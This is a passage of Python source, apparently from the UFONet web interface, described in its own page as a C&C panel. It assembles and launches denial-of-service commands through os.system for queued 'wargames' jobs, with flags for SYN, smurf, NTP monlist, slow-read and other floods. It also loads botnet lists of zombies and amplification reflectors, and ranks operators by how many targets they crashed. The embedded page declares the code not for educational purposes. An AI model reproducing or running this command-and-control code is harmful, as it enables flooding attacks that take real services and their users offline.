  2537. cmd += "--slowread " +str(self.supply_slowread)+ " "
  2538. if int(self.supply_goldeneye) > 0:
  2539. cmd += "--goldeneye " +str(self.supply_goldeneye)+ " "
  2540. if int(self.supply_finflood) > 0:
  2541. cmd += "--finflood " +str(self.supply_finflood)+ " "
  2542. if not flag_fraggle and not flag_sniper and not flag_ufoack and not flag_uforst and not flag_droper and not flag_overlap and not flag_pinger and not flag_ufoudp and not flag_monlist and not flag_tachyon and not flag_nuke and not flag_xmas and not flag_smurf and not flag_spray and not flag_ufosyn:
  2543. cmd = nonroot_cmd + cmd # non root required (LOIC, LORIS)
  2544. if flag_ufosyn == True or flag_spray == True or flag_smurf == True or flag_xmas == True or flag_nuke == True or flag_tachyon == True or flag_monlist == True or flag_fraggle == True or flag_sniper == True or flag_ufoack == True or flag_uforst == True or flag_droper == True or flag_overlap == True or flag_pinger == True or flag_ufoudp == True:
  2545. cmd = root_cmd + cmd # root required (UFOSYN, SPRAY, SMURF, XMAS, NUKE, TACHYON, MONLIST, FRAGGLE, SNIPER, UFOACK, UFORST, DROPER, OVERLAP, PINGER, UFOUDP)
  2546. runcmd = cmd + " "
  2547. runcmd = runcmd + "--force-yes &" # no raw_input allowed on webgui (+run it as daemon!)
  2548. print("[Info] [Wargames] Running command:", runcmd, "\n")
  2549. os.system(runcmd) # launch it!
  2550. if "!!!" in job: # remove it from queue (unjob)
  2551. f = open(self.wargames_file, "r")
  2552. ls = f.readlines()
  2553. f.close()
  2554. f = open(self.wargames_file, "w")
  2555. for l in ls:
  2556. if str(l) != str(job):
  2557. f.write(l)
  2558. else:
  2559. job = re.sub('[!!!]', '', job)
  2560. f.write(job)
  2561. f.close()
  2562. def extract_ranking_table(self):
  2563. f = open(self.grid_file,"r") # ranking data extracted from grid.txt
  2564. ls = f.readlines()
  2565. f.close()
  2566. if not ls: # not data on grid.txt
  2567. return
  2568. ranking_items={}
  2569. ranking_key = crypto_key
  2570. nodec_text = "Anonymous"
  2571. nodec_num = 0
  2572. self.ranking_grid_total = 0
  2573. try:
  2574. for j in ls:
  2575. if grid_msg_sep in j:
  2576. self.ranking_grid_total = self.ranking_grid_total + 1
  2577. m = j.split(grid_msg_sep)
  2578. ranking_nickname = m[0] # nickname
  2579. self.decrypt(ranking_key, ranking_nickname)
  2580. if self.decryptedtext:
  2581. ranking_nickname = str(self.decryptedtext)
  2582. else:
  2583. ranking_nickname = nodec_text
  2584. if ranking_nickname == "Anonymous":
  2585. ranking_nickname = ranking_nickname + str(self.ranking_grid_total*3) # add pseudo-rand as end to evade similars
  2586. self.decryptedtext = "" # clean decryptedtext buffer
  2587. ranking_ranking = m[1] # ranking
  2588. self.decrypt(ranking_key, ranking_ranking)
  2589. if self.decryptedtext:
  2590. try:
  2591. ranking_ranking = int(self.decryptedtext)
  2592. except:
  2593. ranking_ranking = nodec_num
  2594. else:
  2595. ranking_ranking = nodec_num
  2596. ranking_items[ranking_nickname] = ranking_ranking
  2597. except:
  2598. ranking_nickname = "Anonymous"
  2599. ranking_ranking = 0
  2600. ranking_items[ranking_nickname] = ranking_ranking
  2601. self.top_rookie = []
  2602. self.top_mercenary = []
  2603. self.top_bandit = []
  2604. self.top_ufommander = []
  2605. self.top_ufoleet = []
  2606. for k, v in ranking_items.items():
  2607. if v == 0: # not any data (or decryption allowed) on grid so discard
  2608. pass
  2609. if v == 1: # add this player as a rookie
  2610. self.ranking_grid_rookie = self.ranking_grid_rookie + 1
  2611. self.top_rookie.append(k)
  2612. elif v == 2: # add this player as a mercenary
  2613. self.ranking_grid_mercenary = self.ranking_grid_mercenary + 1
  2614. self.top_mercenary.append(k)
  2615. elif v == 3: # add this player as a bandit
  2616. self.ranking_grid_bandit = self.ranking_grid_bandit + 1
  2617. self.top_bandit.append(k)
  2618. elif v == 4: # add this player as a ufommander
  2619. self.ranking_grid_ufommander = self.ranking_grid_ufommander + 1
  2620. self.top_ufommander.append(k)
  2621. elif v == 5: # add this player as a ufoleet
  2622. self.ranking_grid_ufoleet = self.ranking_grid_ufoleet + 1
  2623. self.top_ufoleet.append(k)
  2624. else: # add this player as unknown
  2625. self.ranking_grid_unknown = self.ranking_grid_unknown + 1
  2626. top5 = sorted(ranking_items, key=ranking_items.get, reverse=True)[:5]
  2627. for p in top5: # extract best players
  2628. if self.ranking_top5_player1 == "Anonymous":
  2629. self.ranking_top5_player1 = p
  2630. elif self.ranking_top5_player2 == "Anonymous":
  2631. self.ranking_top5_player2 = p
  2632. elif self.ranking_top5_player3 == "Anonymous":
  2633. self.ranking_top5_player3 = p
  2634. elif self.ranking_top5_player4 == "Anonymous":
  2635. self.ranking_top5_player4 = p
  2636. elif self.ranking_top5_player5 == "Anonymous":
  2637. self.ranking_top5_player5 = p
  2638. if self.ranking == "Rookie":
  2639. shuffle(self.top_rookie) # shuffle for different results
  2640. top3 = self.top_rookie[:3]
  2641. elif self.ranking == "Mercenary":
  2642. shuffle(self.top_mercenary)
  2643. top3 = self.top_mercenary[:3]
  2644. elif self.ranking == "Bandit":
  2645. shuffle(self.top_bandit)
  2646. top3 = self.top_bandit[:3]
  2647. elif self.ranking == "UFOmmander!":
  2648. shuffle(self.top_ufommander)
  2649. top3 = self.top_ufommander[:3]
  2650. elif self.ranking == "UFOl33t!":
  2651. shuffle(self.top_ufoleet)
  2652. top3 = self.top_ufoleet[:3]
  2653. for p in top3: # extract similar player
  2654. if self.ranking_similar_player1 == "Anonymous":
  2655. self.ranking_similar_player1 = p
  2656. elif self.ranking_similar_player2 == "Anonymous":
  2657. self.ranking_similar_player2 = p
  2658. elif self.ranking_similar_player3 == "Anonymous":
  2659. self.ranking_similar_player3 = p
  2660. top1 = sorted(ranking_items, key=ranking_items.get, reverse=True)
  2661. shuffle(top1) # shuffle for different results
  2662. top1 = random.choice(top1).strip() # extract random player
  2663. self.ranking_top1_player1 = top1
  2664. def __init__(self):
  2665. self.crypto_key = crypto_key # set default symmetric crypto key
  2666. self.agents_file = 'core/txt/user-agents.txt' # set source path to retrieve user-agents
  2667. self.board_file = 'data/board.txt' # set source path to retrieve board warning message
  2668. self.grid_file = 'data/grid.txt' # set source path to retrieve grid
  2669. self.board_warning = "" # set initial (str) board warning message
  2670. self.wargames_file = 'data/wargames.txt' # set source path to retrieve wargames
  2671. self.links_file = 'data/links.txt' # set source path to retrieve links
  2672. self.streams_file = 'data/streams.txt' # set source path to retrieve streams
  2673. self.games_file = 'data/games.txt' # set source path to retrieve games
  2674. self.globalnet_file = 'data/globalnet.txt' # set source path to retrieve Global.Net
  2675. self.zombies_file = "botnet/zombies.txt" # set source path to retrieve 'zombies'
  2676. self.aliens_file = "botnet/aliens.txt" # set source path to retrieve 'aliens'
  2677. self.droids_file = "botnet/droids.txt" # set source path to retrieve 'droids'
  2678. self.ucavs_file = "botnet/ucavs.txt" # set source path to retrieve 'ucavs'
  2679. self.rpcs_file = "botnet/rpcs.txt" # set source path to retrieve 'rpcs'
  2680. self.ntps_file = "botnet/ntp.txt" # set source path to retrieve 'ntps'
  2681. self.dnss_file = "botnet/dns.txt" # set source path to retrieve 'dns'
  2682. self.snmps_file = "botnet/snmp.txt" # set source path to retrieve 'snmps'
  2683. self.release_date_file = "docs/release.date" # set source path to retrieve release date
  2684. self.news = "data/news.txt" # set source path to retrieve server news
  2685. self.tv = "data/tv.txt" # set source path to retrieve server tv
  2686. self.missions = "data/missions.txt" # set source path to retrieve server missions
  2687. self.mothership_webcfg_file = 'core/json/webcfg.json' # set source for mothership webcfg
  2688. self.mothership_stats_file = 'core/json/stats.json' # set source for mothership stats
  2689. self.mothership_boardcfg_file = 'core/json/boardcfg.json' # set source for mothership boardcfg
  2690. self.mothership_gridcfg_file = 'core/json/gridcfg.json' # set source for mothership gridcfg
  2691. self.mothership_supplycfg_file = 'core/json/supplycfg.json' # set source for mothership supplyscfg
  2692. self.mothership_model_file = 'core/txt/model.txt' # set source for mothership model
  2693. f = open(self.mothership_model_file) # extract mothership model
  2694. self.mothership_model = f.read()
  2695. f.close()
  2696. self.faq_file = 'docs/FAQ.html' # set source for FAQ
  2697. f = open(self.faq_file) # extract FAQ text
  2698. self.faq_text = f.read()
  2699. f.close()
  2700. self.author_file = 'docs/AUTHOR' # set source for AUTHOR
  2701. f = open(self.author_file) # extract AUTHOR text
  2702. self.author_text = f.read()
  2703. f.close()
  2704. self.shop_file = 'docs/SHOP' # set source for SHOP
  2705. f = open(self.shop_file) # extract SHOP text
  2706. self.shop_text = f.read()
  2707. f.close()
  2708. self.ranking = "Rookie Star" # set starting rank
  2709. self.decryptedtext = "" # set buffer for decryption
  2710. self.encryptedtext = "" # set buffer for encryption
  2711. self.blackholes = "data/nodes.txt" # set source path to retrieve server [Community] blackholes (nodes)
  2712. self.blackhole = default_blackhole # set default blackhole
  2713. self.blackholes_status = "Not connected!" # set default status for blackholes
  2714. self.blackholes_status_color = "red" # set default status color for blackholes
  2715. self.referer = 'http://127.0.0.1/'
  2716. self.mothershipname = "core/txt/shipname.txt"
  2717. self.ufonet_logo_img = open("core/images/ufonet-logo.txt").read()
  2718. self.mothership_img = open("core/images/mothership.txt").read()
  2719. self.commander_img = open("core/images/commander.txt").read()
  2720. self.board_img = open("core/images/board.txt").read()
  2721. self.aliens_img = open("core/images/aliens.txt").read()
  2722. self.alien1_img = open("core/images/aliens/alien1.txt").read()
  2723. self.alien2_img = open("core/images/aliens/alien2.txt").read()
  2724. self.alien3_img = open("core/images/aliens/alien3.txt").read()
  2725. self.alien4_img = open("core/images/aliens/alien4.txt").read()
  2726. self.alien5_img = open("core/images/aliens/alien5.txt").read()
  2727. self.alien6_img = open("core/images/aliens/alien6.txt").read()
  2728. self.alien7_img = open("core/images/aliens/alien7.txt").read()
  2729. self.alien8_img = open("core/images/aliens/alien8.txt").read()
  2730. self.alien9_img = open("core/images/aliens/alien9.txt").read()
  2731. self.alien10_img = open("core/images/aliens/alien10.txt").read()
  2732. self.alien11_img = open("core/images/aliens/alien11.txt").read()
  2733. self.alien12_img = open("core/images/aliens/alien12.txt").read()
  2734. self.alien13_img = open("core/images/aliens/alien13.txt").read()
  2735. self.ranking_grid_total = 0
  2736. self.ranking_grid_rookie = 0
  2737. self.ranking_grid_mercenary = 0
  2738. self.ranking_grid_bandit = 0
  2739. self.ranking_grid_ufommander = 0
  2740. self.ranking_grid_ufoleet = 0
  2741. self.ranking_grid_unknown = 0
  2742. self.ranking_top5_player1 = "Anonymous"
  2743. self.ranking_top5_player2 = "Anonymous"
  2744. self.ranking_top5_player3 = "Anonymous"
  2745. self.ranking_top5_player4 = "Anonymous"
  2746. self.ranking_top5_player5 = "Anonymous"
  2747. self.ranking_similar_player1 = "Anonymous"
  2748. self.ranking_similar_player2 = "Anonymous"
  2749. self.ranking_similar_player3 = "Anonymous"
  2750. self.ranking_top1_player1 = "Anonymous"
  2751. f = open(self.mothershipname) # extract ship name
  2752. self.mothership_id = f.read()
  2753. self.mothership_id = self.mothership_id[:25] # truncating anti-formats ;-)
  2754. f.close()
  2755. f = open(self.release_date_file) # extract release creation datetime
  2756. self.release_date = f.read()
  2757. # adding AnonTwi (anontwi.03c8.net) cyphering -> AES256+HMAC-SHA1
  2758. self.trans_5C = ''.join([chr (x ^ 0x5c) for x in range(256)])
  2759. self.trans_36 = ''.join([chr (x ^ 0x36) for x in range(256)])
  2760. self.trans_5C = self.trans_5C.encode("latin-1")
  2761. self.trans_36 = self.trans_36.encode("latin-1")
  2762. f.close()
  2763. f = open(self.blackholes) # double extract blackholes (nodes.txt)
  2764. self.blackholes_text = f.read()
  2765. f.close()
  2766. f = open(self.blackholes)
  2767. self.blackholes_block = f.readlines()
  2768. f.close()
  2769. self.list_blackholes = []
  2770. for b in self.blackholes_block:
  2771. self.list_blackholes.append(b)
  2772. self.blackholes_datetime = time.ctime(os.path.getctime('data/nodes.txt')) # extract nodes datetime
  2773. if self.blackholes_datetime == self.release_date_file: # never connected to feeds
  2774. self.blackholes_status_color = "red" # set status color for blackholes to 'red'
  2775. else:
  2776. self.blackholes_status_color = "green" # set status color for blackholes to 'green'
  2777. f = open(self.news) # double extract news
  2778. self.news_text = f.read()
  2779. f.close()
  2780. f = open(self.news)
  2781. self.news_block = f.readlines()
  2782. f.close()
  2783. self.list_news = []
  2784. for n in self.news_block:
  2785. self.list_news.append(n)
  2786. self.news_datetime = time.ctime(os.path.getctime('data/news.txt')) # extract news.txt datetime
  2787. if self.news_datetime == self.release_date_file: # never connected to feeds
  2788. self.news_status_color = "red" # set status color for news to 'red'
  2789. else:
  2790. self.news_status_color = "green" # set status color for news to 'green'
  2791. f = open(self.tv) # double extract tv
  2792. self.tv_text = f.read()
  2793. f.close()
  2794. f = open(self.tv)
  2795. self.tv_block = f.readlines()
  2796. f.close()
  2797. self.list_tv = []
  2798. for n in self.tv_block:
  2799. self.list_tv.append(n)
  2800. self.tv_datetime = time.ctime(os.path.getctime('data/tv.txt')) # extract tv.txt datetime
  2801. if self.tv_datetime == self.release_date_file: # never connected to feeds
  2802. self.tv_status_color = "red" # set status color for tv to 'red'
  2803. else:
  2804. self.tv_status_color = "green" # set status color for tv to 'green'
  2805. f = open(self.board_file) # double extract board
  2806. self.moderator_text = f.read()
  2807. f.close()
  2808. f = open(self.board_file)
  2809. self.moderator_block = f.readlines()
  2810. f.close()
  2811. self.list_moderator = []
  2812. for n in self.moderator_block:
  2813. self.list_moderator.append(n)
  2814. f = open(self.grid_file) # double grid board
  2815. self.grid_text = f.read()
  2816. self.ranking_text = f.read() # ranking data is extracted from grid
  2817. f.close()
  2818. f = open(self.grid_file)
  2819. self.grid_block = f.readlines()
  2820. f.close()
  2821. self.list_grid = []
  2822. for n in self.grid_block:
  2823. self.list_grid.append(n)
  2824. self.ranking_datetime = time.ctime(os.path.getctime('data/grid.txt')) # extract grid.txt datetime for ranking calcs
  2825. if self.ranking_datetime == self.release_date_file: # never connected to feeds
  2826. self.ranking_status_color = "red" # set status color for ranking to 'red'
  2827. else:
  2828. self.ranking_status_color = "green" # set status color for ranking to 'green'
  2829. f = open(self.wargames_file) # double wargames board
  2830. self.wargames_text = f.read()
  2831. f.close()
  2832. f = open(self.wargames_file)
  2833. self.wargames_block = f.readlines()
  2834. f.close()
  2835. self.list_wargames = []
  2836. for n in self.wargames_block:
  2837. self.list_wargames.append(n)
  2838. f = open(self.links_file) # double links extraction
  2839. self.links_text = f.read()
  2840. f.close()
  2841. f = open(self.links_file)
  2842. self.links_block = f.readlines()
  2843. f.close()
  2844. self.list_links = []
  2845. for n in self.links_block:
  2846. self.list_links.append(n)
  2847. f = open(self.globalnet_file) # double globalnet extraction
  2848. self.globalnet_text = f.read()
  2849. f.close()
  2850. f = open(self.globalnet_file)
  2851. self.globalnet_block = f.readlines()
  2852. f.close()
  2853. self.list_globalnet = []
  2854. for n in self.globalnet_block:
  2855. self.list_globalnet.append(n)
  2856. f = open(self.streams_file) # double streams extraction
  2857. self.streams_text = f.read()
  2858. f.close()
  2859. f = open(self.streams_file)
  2860. self.streams_block = f.readlines()
  2861. f.close()
  2862. self.list_streams = []
  2863. for n in self.streams_block:
  2864. self.list_streams.append(n)
  2865. f = open(self.missions) # double extract missions
  2866. self.missions_text = f.read()
  2867. f.close()
  2868. f = open(self.missions)
  2869. self.missions_block = f.readlines()
  2870. f.close()
  2871. self.list_missions = []
  2872. for m in self.missions_block:
  2873. self.list_missions.append(m)
  2874. self.missions_datetime = time.ctime(os.path.getctime('data/missions.txt')) # extract missions.txt datetime
  2875. if self.missions_datetime == self.release_date_file: # never connected to feeds
  2876. self.missions_status_color = "red" # set status color for missions to 'red'
  2877. else:
  2878. self.missions_status_color = "green" # set status color for missions to 'green'
  2879. stats_json_file = open(self.mothership_stats_file, "r") # extract mothership stats
  2880. data = json.load(stats_json_file)
  2881. stats_json_file.close()
  2882. self.abductor = Abductor(self) # call abductor for data size conversor
  2883. self.aflying = data["flying"]
  2884. self.ascanner = data["scanner"]
  2885. self.atransferred = data["transferred"]
  2886. self.amax_chargo = data["max_chargo"]
  2887. self.amissions = data["missions"]
  2888. self.acompleted = data["completed"]
  2889. self.aloic = data["loic"]
  2890. self.aloris = data["loris"]
  2891. self.aufosyn = data["ufosyn"]
  2892. self.aspray = data["spray"]
  2893. self.asmurf = data["smurf"]
  2894. self.axmas = data["xmas"]
  2895. self.anuke = data["nuke"]
  2896. self.atachyon = data["tachyon"]
  2897. self.amonlist = data["monlist"]
  2898. self.afraggle = data["fraggle"]
  2899. self.asniper = data["sniper"]
  2900. self.aufoack = data["ufoack"]
  2901. self.auforst = data["uforst"]
  2902. self.adroper = data["droper"]
  2903. self.aoverlap = data["overlap"]
  2904. self.apinger = data["pinger"]
  2905. self.aufoudp = data["ufoudp"]
  2906. self.amemcached = data.get("memcached", 0)
  2907. self.achargen = data.get("chargen", 0)
  2908. self.acldap = data.get("cldap", 0)
  2909. self.assdp = data.get("ssdp", 0)
  2910. self.aqotd = data.get("qotd", 0)
  2911. self.atftp = data.get("tftp", 0)
  2912. self.awsdisco = data.get("wsdisco", 0)
  2913. self.acoap = data.get("coap", 0)
  2914. self.amssql = data.get("mssql", 0)
  2915. self.aarms = data.get("arms", 0)
  2916. self.aplex = data.get("plex", 0)
  2917. self.anetbios = data.get("netbios", 0)
  2918. self.aripv1 = data.get("ripv1", 0)
  2919. self.amiddlebox = data.get("middlebox", 0)
  2920. self.arapidreset = data.get("rapidreset", 0)
  2921. self.aslowread = data.get("slowread", 0)
  2922. self.agoldeneye = data.get("goldeneye", 0)
  2923. self.afinflood = data.get("finflood", 0)
  2924. self.tcrashed = data["crashed"]
  2925. if int(self.acompleted) > 0: # check for attacks completed
  2926. self.mothership_acc = Decimal((int(self.tcrashed) * 100) / int(self.acompleted)) # decimal rate: crashed*100/completed
  2927. else:
  2928. self.mothership_acc = 100 # WarGames: "the only way to win in Nuclear War is not to play"
  2929. if int(self.acompleted) < 5: # generating motherships commander ranks by rpg/experiences
  2930. self.ranking = "Rookie"
  2931. elif int(self.acompleted) > 4 and int(self.tcrashed) < 1: # add first ranking step on 5 complete attacks
  2932. self.ranking = "Mercenary"
  2933. elif int(self.tcrashed) > 0 and int(self.tcrashed) < 2: # second ranking step with almost 1 crashed
  2934. self.ranking = "Bandit"
  2935. elif int (self.acompleted) < 50 and int(self.tcrashed) > 4: # third ranking value is only for real "crashers" ;-)
  2936. self.ranking = "UFOmmander!"
  2937. elif int(self.acompleted) > 49 and int(self.tcrashed) > 4: # this people is trying to build a Global Federated Network >-)
  2938. self.ranking = "UFOl33t!"
  2939. f = open(self.zombies_file)
  2940. self.zombies = f.readlines()
  2941. self.zombies = [zombie.replace('\n', '') for zombie in self.zombies]
  2942. self.list_zombies = []
  2943. for zombie in self.zombies:
  2944. t = urlparse(zombie)
  2945. name_zombie = t.netloc
  2946. if "www." in name_zombie:
  2947. name_zombie = name_zombie.replace("www.","")
  2948. self.list_zombies.append(name_zombie)
  2949. self.num_zombies = str(len(self.zombies))
  2950. f.close()
  2951. f = open(self.aliens_file)
  2952. self.aliens = f.readlines()
  2953. self.aliens = [alien.replace('\n', '') for alien in self.aliens]
  2954. self.list_aliens = []
  2955. for alien in self.aliens:
  2956. t = urlparse(alien)
  2957. name_alien = t.netloc
  2958. if "www." in name_alien:
  2959. name_alien = name_alien.replace("www.","")
  2960. self.list_aliens.append(name_alien)
  2961. self.num_aliens = str(len(self.aliens))
  2962. f.close()
  2963. f = open(self.droids_file)
  2964. self.droids = f.readlines()
  2965. self.droids = [droid.replace('\n', '') for droid in self.droids]
  2966. self.list_droids = []
  2967. for droid in self.droids:
  2968. t = urlparse(droid)
  2969. name_droid = t.netloc
  2970. if "www." in name_droid:
  2971. name_droid = name_droid.replace("www.","")
  2972. self.list_droids.append(name_droid)
  2973. self.num_droids = str(len(self.droids))
  2974. f.close()
  2975. f = open(self.ucavs_file)
  2976. self.ucavs = f.readlines()
  2977. self.ucavs = [ucav.replace('\n', '') for ucav in self.ucavs]
  2978. self.list_ucavs = []
  2979. for ucav in self.ucavs:
  2980. t = urlparse(ucav)
  2981. name_ucav = t.netloc
  2982. if "www." in name_ucav:
  2983. name_ucav = name_ucav.replace("www.","")
  2984. self.list_ucavs.append(name_ucav)
  2985. self.num_ucavs = str(len(self.ucavs))
  2986. f.close()
  2987. f = open(self.rpcs_file)
  2988. self.rpcs = f.readlines()
  2989. self.rpcs = [rpc.replace('\n', '') for rpc in self.rpcs]
  2990. self.list_rpcs = []
  2991. for rpc in self.rpcs:
  2992. t = urlparse(rpc)
  2993. name_rpc = t.netloc
  2994. if "www." in name_rpc:
  2995. name_rpc = name_rpc.replace("www.","")
  2996. self.list_rpcs.append(name_rpc)
  2997. self.num_rpcs = str(len(self.rpcs))
  2998. f.close()
  2999. f = open(self.ntps_file)
  3000. self.ntps = f.readlines()
  3001. self.ntps = [ntp.replace('\n', '') for ntp in self.ntps]
  3002. self.list_ntps = []
  3003. for ntp in self.ntps:
  3004. t = urlparse(ntp)
  3005. name_ntp = t.netloc
  3006. if "www." in name_ntp:
  3007. name_ntp = name_ntp.replace("www.","")
  3008. self.list_ntps.append(name_ntp)
  3009. self.num_ntps = str(len(self.ntps))
  3010. f.close()
  3011. f = open(self.dnss_file)
  3012. self.dnss = f.readlines()
  3013. self.dnss = [dns.replace('\n', '') for dns in self.dnss]
  3014. self.list_dnss = []
  3015. for dns in self.dnss:
  3016. t = urlparse(dns)
  3017. name_dns = t.netloc
  3018. if "www." in name_dns:
  3019. name_dns = name_dns.replace("www.","")
  3020. self.list_dnss.append(name_dns)
  3021. self.num_dnss = str(len(self.dnss))
  3022. f.close()
  3023. f = open(self.snmps_file)
  3024. self.snmps = f.readlines()
  3025. self.snmps = [snmp.replace('\n', '') for snmp in self.snmps]
  3026. self.list_snmps = []
  3027. for snmp in self.snmps:
  3028. t = urlparse(snmp)
  3029. name_snmp = t.netloc
  3030. if "www." in name_snmp:
  3031. name_snmp = name_snmp.replace("www.","")
  3032. self.list_snmps.append(name_snmp)
  3033. self.num_snmps = str(len(self.snmps))
  3034. f.close()
  3035. self.list_zombies = [n or self.zombies[i].strip() for i, n in enumerate(self.list_zombies)]
  3036. self.list_aliens = [n or self.aliens[i].strip() for i, n in enumerate(self.list_aliens)]
  3037. self.list_droids = [n or self.droids[i].strip() for i, n in enumerate(self.list_droids)]
  3038. self.list_ucavs = [n or self.ucavs[i].strip() for i, n in enumerate(self.list_ucavs)]
  3039. self.list_rpcs = [n or self.rpcs[i].strip() for i, n in enumerate(self.list_rpcs)]
  3040. self.list_ntps = [n or self.ntps[i].strip() for i, n in enumerate(self.list_ntps)]
  3041. self.list_dnss = [n or self.dnss[i].strip() for i, n in enumerate(self.list_dnss)]
  3042. self.list_snmps = [n or self.snmps[i].strip() for i, n in enumerate(self.list_snmps)]
  3043. def _wrap(value):
  3044. v = value.strip()
  3045. if not v:
  3046. return v
  3047. href = v if v.startswith(('http://', 'https://')) else 'http://' + v
  3048. return '<a href="' + href + '" target="_blank">' + v + '</a>'
  3049. self.zombies = [_wrap(x) for x in self.zombies]
  3050. self.aliens = [_wrap(x) for x in self.aliens]
  3051. self.droids = [_wrap(x) for x in self.droids]
  3052. self.ucavs = [_wrap(x) for x in self.ucavs]
  3053. self.rpcs = [_wrap(x) for x in self.rpcs]
  3054. self.ntps = [_wrap(x) for x in self.ntps]
  3055. self.dnss = [_wrap(x) for x in self.dnss]
  3056. self.snmps = [_wrap(x) for x in self.snmps]
  3057. self.total_botnet = str(int(self.num_zombies) + int(self.num_aliens) + int(self.num_droids) + int(self.num_ucavs) + int(self.num_rpcs) + int(self.num_ntps) + int(self.num_dnss) + int(self.num_snmps))
  3058. f = open(self.wargames_file, "r")
  3059. ls = f.readlines()
  3060. f.close()
  3061. self.supply_wargames = 0
  3062. self.wargames_engage_list = []
  3063. for l in ls:
  3064. if "!!!" in l:
  3065. self.wargames_engage_list.append(l)
  3066. self.supply_wargames = self.supply_wargames + 1
  3067. if self.supply_wargames > 0:
  3068. self.current_tasks = ' - Jobs: <a href="/wargames" target="_blank">' + str(self.supply_wargames) + '</a>'
  3069. self.wargames_engage_routine(self.wargames_engage_list) # threaded jobs engage routine
  3070. else:
  3071. self.current_tasks = ' - Jobs: <a href="/wargames" target="_blank">0</a>'
  3072. self.options = UFONetOptions()
  3073. self.pages = {}
  3074. self.pages["/header"] = """<!DOCTYPE html><html>
  3075. <head>
  3076. <link rel="shortcut icon" type="image/x-icon" href="favicon" />
  3077. <meta name="author" content="psy">
  3078. <meta name="robots" content="noindex, nofollow">
  3079. <meta http-equiv="content-type" content="text/xml; charset=utf-8" />
  3080. <title>UFONet - [ C&C/DarkNet ]</title>
  3081. <script language="javascript" src="/lib.js"></script>
  3082. <script language="javascript" src="js/stars.js"></script>
  3083. <style>
  3084. body{font-size:15px}a,a:hover{outline:none;color:red;font-size:14px;font-weight:700}nav ul ul{display:none}nav ul li:hover > ul{display:block}nav ul{list-style:none;position:relative;display:inline-table}nav ul:after{content:"";clear:both;display:block}nav ul li{font-size:12px}nav ul li a{display:block;padding:2px 3px}html,body{height:100%}ul,li{margin:0;padding:0}.ringMenu{width:100px;margin:80px auto}.ringMenu ul{list-style:none;position:relative;width:100px;color:#fff}.ringMenu ul a{color:#fff}.ringMenu ul li{-webkit-transition:all .3s ease-in-out;-moz-transition:all .3s ease-in-out;-o-transition:all .3s ease-in-out;transition:all .3s ease-in-out}.ringMenu ul li a{display:block;width:100px;height:100px;background:rgba(50,50,50,0.7);text-align:center;line-height:100px;-webkit-border-radius:50px;-moz-border-radius:50px;border-radius:50px}.ringMenu ul li a:hover{background:rgba(230,150,20,0.7)}.ringMenu ul li:not(.main){-webkit-transform:rotate(-180deg) scale(0);-moz-transform:rotate(-180deg) scale(0);-o-transform:rotate(-180deg) scale(0);transform:rotate(-180deg) scale(0);opacity:0}.ringMenu:hover ul li{-webkit-transform:rotate(0) scale(1);-moz-transform:rotate(0) scale(1);-o-transform:rotate(0) scale(1);transform:rotate(0) scale(1);opacity:1}.ringMenu ul li.top{-webkit-transform-origin:50% 152px;-moz-transform-origin:50% 152px;-o-transform-origin:50% 152px;transform-origin:50% 152px;position:absolute;top:-102px;left:0}.ringMenu ul li.bottom{-webkit-transform-origin:50% -52px;-moz-transform-origin:50% -52px;-o-transform-origin:50% -52px;transform-origin:50% -52px;position:absolute;bottom:-102px;left:0}.ringMenu ul li.right{-webkit-transform-origin:-52px 50%;-moz-transform-origin:-52px 50%;-o-transform-origin:-52px 50%;transform-origin:-52px 50%;position:absolute;top:0;right:-102px}.ringMenu ul li.left{-webkit-transform-origin:152px 50%;-moz-transform-origin:152px 50%;-o-transform-origin:152px 50%;transform-origin:152px 50%;position:absolute;top:0;left:-102px}textarea{padding:30px 0}
  3085. </style>"""
  3086. self.pages["/footer"] = """</center></body>
  3087. </html>
  3088. """
  3089. self.pages["/"] = self.pages["/header"] + """<script language="javascript">
  3090. function Start() {
  3091. var win_start = window.open("gui","_parent","fullscreen=yes, titlebar=yes, top=180, left=320, width=640, height=460, resizable=yes", false);
  3092. }
  3093. </script>
  3094. <script type="text/javascript">
  3095. var text="REMEMBER -> This code is NOT for educational purposes!";
  3096. var delay=1;
  3097. var currentChar=1;
  3098. var destination="tt";
  3099. function type()
  3100. {
  3101. if (document.getElementById)
  3102. {
  3103. var dest=document.getElementById(destination);
  3104. if (dest)
  3105. {
  3106. dest.innerHTML=text.substr(0, currentChar);
  3107. currentChar++
  3108. if (currentChar>text.length)
  3109. {
  3110. currentChar=1;
  3111. setTimeout("type()", 5000);
  3112. }
  3113. else
  3114. {
  3115. setTimeout("type()", delay);
  3116. }
  3117. }
  3118. }
  3119. }
  3120. function startTyping(textParam, delayParam, destinationParam)
  3121. {
  3122. text=textParam;
  3123. delay=delayParam;
  3124. currentChar=1;
  3125. destination=destinationParam;
  3126. type();
  3127. }
  3128. </script>
  3129. <link rel="stylesheet" href="/js/ufo-cloud.css" />
  3130. </head>
  3131. <body bgcolor="black" text="yellow" style="font-family: Courier, 'Courier New', monospace;" onload="start()" onresize="resize()" onorientationchange="resize()" onmousedown="context.fillStyle='rgba(0,0,0,'+opacity+')'" onmouseup="context.fillStyle='rgb(0,0,0)'">
  3132. <canvas id="starfield" style="z-index:-1; background-color:#000000; position:fixed; top:0; left:0;"></canvas>
  3133. <center><br><br><br><br>
  3134. <table><tr>
  3135. <td>
  3136. <div class="ufo-cloud">
  3137. <ul>
  3138. <li><a href="javascript:alert('Let them hate so long as they fear...');"><span></span>'oderint dum metuant'</a></li>
  3139. <li><a href="javascript:alert('In order to achieve what has been undertaken...');"><span></span>'ad susceptum perficiendum'</a></li>
  3140. <li><a href="javascript:alert('Out of order, comes chaos...');"><span></span>'chao ab ordo'</a></li>
  3141. <li><a href="javascript:alert('The truth being enveloped by obscure things...');"><span></span>'obscuris vera involvens'</a></li>
  3142. <li><a href="javascript:alert('Everything changes, nothing perishes...');"><span></span>'omnia mutantur, nihil interit'</a></li>
  3143. <li><a href="javascript:alert('One world...');"><span></span>'orbis unum'</a></li>
  3144. <li><a href="javascript:alert('If you want peace, prepare the war...');"><span></span>'si vis pacem, para bellum'</a></li>
  3145. <li><a href="javascript:alert('Man is a wolf to man...');"><span></span>'homo homini lupus'</a></li>
  3146. <li><a href="javascript:alert('Ignorance is the cause of fear...');"><span></span>'causa de timendi est nescire'</a></li>
  3147. <li><a href="javascript:alert('There is still time...');"><span></span>'adhuc tempus'</a></li>
  3148. <li><a href="javascript:alert('No regime is sustained for a long time exercising violence...');"><span></span>'iniqua nunquam regna perpetuo manent'</a></li>
  3149. <li><a href="javascript:alert('From one, learn all...');"><span></span>'ab uno disce omnes'</a></li>
